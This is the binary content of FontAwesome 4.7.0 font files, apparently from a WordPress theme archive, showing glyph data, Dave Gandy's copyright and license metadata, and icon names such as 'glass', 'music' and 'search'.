!-Ged9IaallkOB^^BB^^B       	 + Y i  "&54622#!"&54>;2>+32+32+#!"&5463!2324&#!"3!26֙֙0.I/ OBBO	-Q52-)&)-2`````^B@B^^BB^` @|kkl"=IYL)CggC0[jM4				B^^BB^^B@@       ! 1 A Q u   4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2 )P90,***,09P)J6 6S"@8@ ^B@ @B^^BB^Ukc9		9ckU?@@88@@N@B^````^BB^^       ! 1 A Q u    #!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2 J6 6J)P90,***,09P)"@8@@`@ @`^B@B^^BB^ՀUUkc9		9c`@@88@@2@````@B^^BB^^            (  %.'"&' $&   #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL         $ ,     $&6654&$ 3 72&&  lLmzzBl> KlLGzzG>           ' 7  #!"&54>7&54>2   62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff            # =   #!"&4>3272"&462!3!26#!"&5463!;26=!2 J6 6J)Q8PP8Q) ^B@B^^B``B^VVVld9KK9d`@B^^BB^``^        + ; K [ e u  4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^      A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     N\1  G  inc/customizer/framework/assets/font/font-awesome/fonts/FontAwesome.otfnu [        OTTO 
    CFF 9s7    EPAR  ( l   0OS/22z^    `cmapǢT   head    6hhea
 P   $hmtxJ+ t  
maxpP  
`   name>$# 
h  post    x      FontAwesome C 	 U6 U622        " , 0 4 < > E G M T \ _ e h m q y }                  #)4>HT_lp{
'4=GRYfoy&,39COVcoz"/5;FPUZes}&+16<EOW_hmqv|)04=DPX\aju(,26GYhy%16;>EMUckox				$	5	G	V	g	l	p	v													




&
*
-
0
3
6
9
<
?
B
F
O
_
c
u












 &5BQafmty !%)-159=AHLPTX\`dhlptx|%,37;?CGKOVZ^bfjnrvz~	!%)-159=AEJNRVZ^bfjnrvz~
"&*.26:>BFJNRVZ^bfjnrvz~
"&*.29@GNU\cjqx '.5<CJQX_fmt{  '.5<kvglassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_downvolume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_heighttext_widthalign_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencilmap_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_rightplus_signminus_signremove_signok_signquestion_signinfo_signscreenshotremove_circleok_circleban_circlearrow_leftarrow_rightarrow_uparrow_downshare_altresize_fullresize_smallexclamation_signgiftleaffireeye_openeye_closewarning_signplanecalendarrandomcommentmagnetchevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontalbar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_altstar_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_signupload_altlemonphonecheck_emptybookmark_emptyphone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificatehand_righthand_lefthand_uphand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilterbriefcasefullscreennotequalinfinitylessequalgrouplinkcloudbeakercutcopypaper_clipsavesign_blankreorderulolstrikethroughunderlinetablemagictruckpinterestpinterest_signgoogle_plus_signgoogle_plusmoneycaret_downcaret_upcaret_leftcaret_rightcolumnssortsort_downsort_upenvelope_altlinkedinundolegaldashboardcomment_altcomments_altboltsitemapumbrellapastelight_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospitalambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_downangle_leftangle_rightangle_upangle_downdesktoplaptoptabletmobile_phonecircle_blankquote_leftquote_rightspinnercirclereplygithub_altfolder_close_altfolder_open_altexpand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcodereply_allstar_half_emptylocation_arrowcropcode_forkunlink_279exclamationsuperscriptsubscript_283puzzle_piecemicrophonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchorunlock_altbullseyeellipsis_horizontalellipsis_vertical_303play_signticketminus_sign_altcheck_minuslevel_uplevel_downcheck_signedit_sign_312share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfilefile_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexingxing_signyoutube_playdropboxstackexchangeinstagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightapplewindowsandroidlinuxdribbleskypefoursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EECopyright Dave Gandy 2016. All rights reserved.FontAwesome   [ _       "+/37;TX_dhn#'Prz.26:@DHM%*.48@ENUZ^} /3PW^cgl8<FJCUajov{			@	J	Z											


&
*
.
:
A
T
m
r
}








;BFLTX_cinsz .38@FKPp|&Edmz%1=BGNU[e
#)-7=CJO]kr):PUblqv| ",5:BJOTgz$6HZ]hs{
 &,6@JTX`hnt|)8@OSX\bhp~"/4;?FLSW\hmt',2=HS^elw*
A
T&fAV
TlfPzz
 P
4!
t

q
q
bt&
y}}y33%33
`zT~~4]
Tg@Z
4

R
,T[@
<<4
,
^2
%%%%%%3
T<
nh@;TN
TITN
C
KFKk6
?J

:
K,:
y}Tj
5
/W
K$'T$V
L
v


L
6
f
y}}yy}}ylz||z%
1

KTTY=|zKz||zKz|N

!5
!

ff(
G

Q
3|T|T|T
T
T|zs
R3&'
'
<
@A
G
^
[=
T /
3
c-`V}hn"Bv
g
OG
`E}n\>lg
,hh@@h EQP
|z@z||zTz||zz||zTz|7
F
x
3CDRRDDuy
;
;
5!Jb 
h

5
/
TT +
-tzuxu[Brlmyz~ 5qsUhnnhhnnh
tttT
 y}}yKy}?
j3CC

5;(=ZXWG/9;/_Mknmn9:YIƑP`q~d_ircrriiiy
@H-R
'
 
T 1<t0
lnl||}_zob^^bzM<M<v	o_}||r

/0
]}
]

EQy
v(
W
T/T

jih{t*
<<<
<+B
AS i^wvhvi^S AE]#'
K(
D
Fm3'!%Ơ#xM'nqwdo^]
t
x
1!!EQQE5i'Ty}
tV`

K
T


t
kb
K<z
X
@3CC3@#P
nhQ
h/:nh

:

;xtulTK
1
0
8i8_dd_~~xzƅy"9O9%9)o'0qi?@hh?@irC
TFKkTr
P
;;YS<!yots{tqT/Tg5[
F

s
*
41
ZZrwh)S

-
vvzz:
tttttt
1
7
Ԏ8
Jn+tmy;
[8

hn>~w~~w~K
=+tX
@]
@gZ
tV``V;
;`L< xra
YW
@3&
~~w~@5!}yvKyx}zyn
T7rrcr~g
hnnh
YYG
P
~********=
4
4)
.@([
h
P
vT~z$j
+[
<<5!I
4*
A
C
7
r
C
7
@r
b
!6gTE 
ˋ h3/{V=n\n]9
vx{zz{X
CZ7)D
T}yT8TC
T7
Tr
]][
1


7Uf@m
 
<
ZZZZ{B
rrz{
+
T
<Z:wBD$$D(=`hZTA

/0
nh&&&&&&{Vv7+42yqpV``VV`J
Y
MY
}
>
|znhyyrrrrypttp&pt15
tv'
K(

;;g

$4y~MQsQDntyyt
Fte11eBBT2

rI
F
y'&K
w__c4444p]R
GTTX
x]]
 83
wrrhh@;fveK\xcikvss]tRat7+447&&
7
V(-
hnD$$D
,
}tP
`=db97Bxt3
?Lg__gg__ga
`VC3~w]}
y6%6-	_$cX~
TRV22VV22VP@zyzz 
s/Avzz{b
z-

ft &
3

]]EGxZnyt P
P
++P,ʲ,

_hmx2


ˋ


d44
T[`M`My}}yT,V;;0
&&T
3

t'.
%@p
)qt{tsoys%$333vK
44\~v
}jiiC@@x~C
Kw5 !4wkz||,$P++-



gs}}yf
#ET@)Wbit
S
4Xwmxyjh  ofZedZdW
fr
rsyy'& h@v       }                5  9               2 I   8    8   !       ~ 	 	 	I 	 
M 
 
 ? y    *  B P  | 8 8 ;  l   ] 5    m     + \   <     b -  G _ y     ' > U    > c   R   !0 ! ", "^ " #0 # $ $q $ $ % %~ &5 & 'A ' ) ) *J + + , ,m , , - . .1 . . . /P / 0 0 19 2 2 4 5q 5 5 6< 6 71 7x 7 8h 9 :S ;x < <T < = = = ? ? @! @ Aj A B C D E F G HJ H I IT N N N O" Ox P P P P P R- Rv R T UG V V V V W X1 YX Z [+ [ \C ] ] ] ^ _+ _9 _G _o _ _ _ _ _ ` a aG b6 b b cP c d' d eN fG f f g> g h h i- i i j  j kw l% l m7 m m m n$ n; nO nc n n n n o" o o p p& p> pX q q
 q} rI r s8 s: s< s s s t u v< wI wh w xG x y  y z& {6 {u { | | | } ~ ~ ~ ~  C    M   9  C |   2  8 V   P  	 c   S    O   I    # |   L     `    m 
   P o    1   * x     4 f .  H   U \  1      ' C w   [  W     (    b    ;    J {  .  ŝ Q ƭ f Ǯ *   ʛ ˗ ̉ ͌   | ` ϫ Z ҝ (  J տ   ׻   p 9   D  9        g    t  g  ,     q  ?   o ]  1 a J C0g	$

NF.yq4+M< !>!";"h"##$b%g&D&''''''(()*"*++,?,p,-F-U4>45~566636>67	8"99:-;F;<9<='=\==>?Y@RABDEAFGH(HIImKGLLM^NZOPxQ@RS%SlSVWX:XRXXYY]YZZ[+[n[\d\]g^Y^_2_`5`aacBdd;dWdvde!ffgoghNhikj@jklmnopqhrtukvYwfxzV{r|}/~~Uu[tJ~3J#c$;Tt TT4P
4  c
z..ȮhKh<Nh-

-N<vhNKhN<h..Nhv<NNvȮ-
-hڠvNv44T
44V``VT<
44TA
44M
0Tyuuyyuuyy?j`,4G yu~8գYSKkj>h3c#^uiƭR@2A
4
FMffMZnnw
v
x
P
 `Vc~ofa[!
Y!
 

T@
b@
suw#$L>$#69JX"!!`V+/EE+V1RF
_r
Z o
p]tksu[ztvUZ
tq9[[9:QQ:Mqksu[ztvUZ
ZJ
J&		&a
)|
s
Kw 
 t  
w4X
]
g@
 v


YT3
Y`VV``VTV`Գ

T3
YT3
TV``VT;
 YTV``VT;
T\TV``VT;
^y
$%
IVhhvjyy

IIVV V
V
ttC
KFttFKktt
r
tt>
@

 V

FKkr
@


pP
tW&S:aR`S:a))6z
6)õ`a;R`W&tPQEEQQEEQY
8
&8
&T8
T&8
@
e
{
zK}zaEV" nmloL{yry}{{OJNll~n|i&js^^[{m~mkNo|y|rz{Kpijki\f_i]QM[!|Lz~rǑ̒Ȫ 'fgiMm([popHH4
wOVVOcZwE;L1Hu
 v
tnnt/
s~oJ,zW`aGahc~v~AHH

w
!4t4tt4tt
to
T
4#
)vTV{||||Ng|5ppTy~}y:y~Tppur5|gccn_Tz}y}}zT 
T
dgf[wXX[fe6
tqTKTTT
TTx44t8
zT~~f9x44t8(&
T
T9vT
,T,ThXhYm}}chhcqj}}iVgv
wxrwwvtL#
P

!SY
ylD&)'C3$
Y4K
Ti
t}yT|}zcesd,.9/F-
1T5
T
"Q>W
"SX5z|[,9FZ3
Ti
9
"!
!

T@

G
vTi
TT
T+3
kT^^^^Tkcv
]btkr
Kg
_=1lno1"-SKq~n}s{x}zsz.;3n L vTTVT/WW/!(ZMj:kD
L
k+8V=_GxɁHKxMG_8+MrrN-hnog??go Gw_
rN-hnog??go_QPox}yCQ(Csyrp}t{xo^PQ_Kn{}|zx8S``*S8qxozo||{}s}|{n.K



x





 0m 8
vvʪʪꪫʪ骫kihvvvijiʌ
1

w
ʓ
ʓ
  1Y1Q
kll ʙ
F? ijivvviijz
)z
_^X*DtcX_^sjii}jttjjhsW
 m
g|vtywxog`vf/TFw.qra\zzzaM{tswxyzzVc,sj|wut{tv\h2p]yx}xzuxWi:mY{pvzs~{sww}e_^#:/r8" 

4<
4K4"Kme,,eBV4
K"44"4kt4:4t>
)T33333333T4tXr=EE=UIrXt
tK

T/
 ,Qiep%/,xxx(((#Ɏ	wR'VbgfVpoqqq{\/j}}Yh^?DFG@EatV@ha %-n<5scsŔO5*VJM(0x[[_}~􊢋%;AHW{'QbgfgFIGf=R!G v^]^z8'n\PuH#hPMqJK{-!ߜv`ЊxġMMN[ĐơϦԖУ!!!x$ǁΓm`r;ni~GhftnOlFKwz6-;p6p_ph6hpo;_}oh6h6}_
Ǐ\|}Cy	^^^LuZ
qmeptcCDCm
ǐ]|zb||}3mrS
667W,"m~yv}u] y]hvp|zwwzv{y{ |phm
R <0
R <P
0
R<
i
m
R<0
R<i
m
1 <0
1 <P
0
1<
i
m
H
H
H
t## @w
t\
 
>
tTdw
TiFy
tdv0{tz{~'&9*
TT33T&:''~
)TTTn4444Tt|z@
4kX
S
@g@
m 
D~~UT44~sjiij}st:944::W



{


NLT_p xJ
 
vPPϠHGwwsrP
mXXj:bkkcv`~:jX;`Y;l-&PyyQ
4S+,,||~KKXfccQ+4444400f,,fMff// 
gt}{|y~wjX|zh
"Q2{zt{tqT4 7\3ulz* p4Tqt
 
Jw
tKK3CC

G
fccQ{kkYkkkYkkkkYkBBk
C




-
4=
1


gsvZvZ SZvZZZZrZhlvlr|hh|e
P
@g

@g

i
e
P
@ 
ZwZZ2ZZrwhZ
P

Zw
Z

@w}rrwrZZ

%L.2::zzzzr::2%L'2zz::::
zz
ph
H 
Z
hn
 
e
}2zz11zIIII{zzz1IIII
IIII1zzz{IIII{zv 
P
zz{zM
vv,+M
1zz6T
4y}}yTy}T
T4,#Q?`\pnZtҫȧPKgjzx}wy\O~#7@TKT 
ttt4
4:
T
+y}4j
4y}}yTy}4
44 

`$$`$`$
$$$`$<Tg
#Zk==k##kZ==Zk#<#k==kZ##k==k#i
]&&

&&&&&&kK#
g2%''%%
::!8#
t
 %56&{SjjQh[=<<=>
>KwP
^CT}s@skiij}sstv
jt 
}sTӸKw~ssjiik}ss@@stjtTC^OGGOTsv
js@tE @wKsjiij~stsv
ks@sTC^ǸTs @KT@sjiij}ttT

Ttjiij}tsA@sv
jt t W
@j{t,Qa! KtkvqCt

e
t
ԛ
4
*
<<<
<+!y}|z
|RT|y.}|yMx|zp
4HhnzhThnhTThS\V`fy~5V``VV5`VRL'HMoZd99dMH''e
L(
$4A
4u
v߈
/J7I[^_[Z_~}yhn{x(HZf7p\XTHaG-whhiwVQZ:#vz]l`L{l{,+\^˒1
t4C
FKk@r
CN.ETiCkhT$T$?LL?'0cGv=<
vc0;'dquuq--]
LaaLvtrrtvLa`Lv$T$]D'#5'0cGv=<#7quuq-.]
Sv-yU*PNO_Z~wrsrswH7*V3ziU{QgegSA:NT~=L=&0ErAuX5y}|y
}R|yR
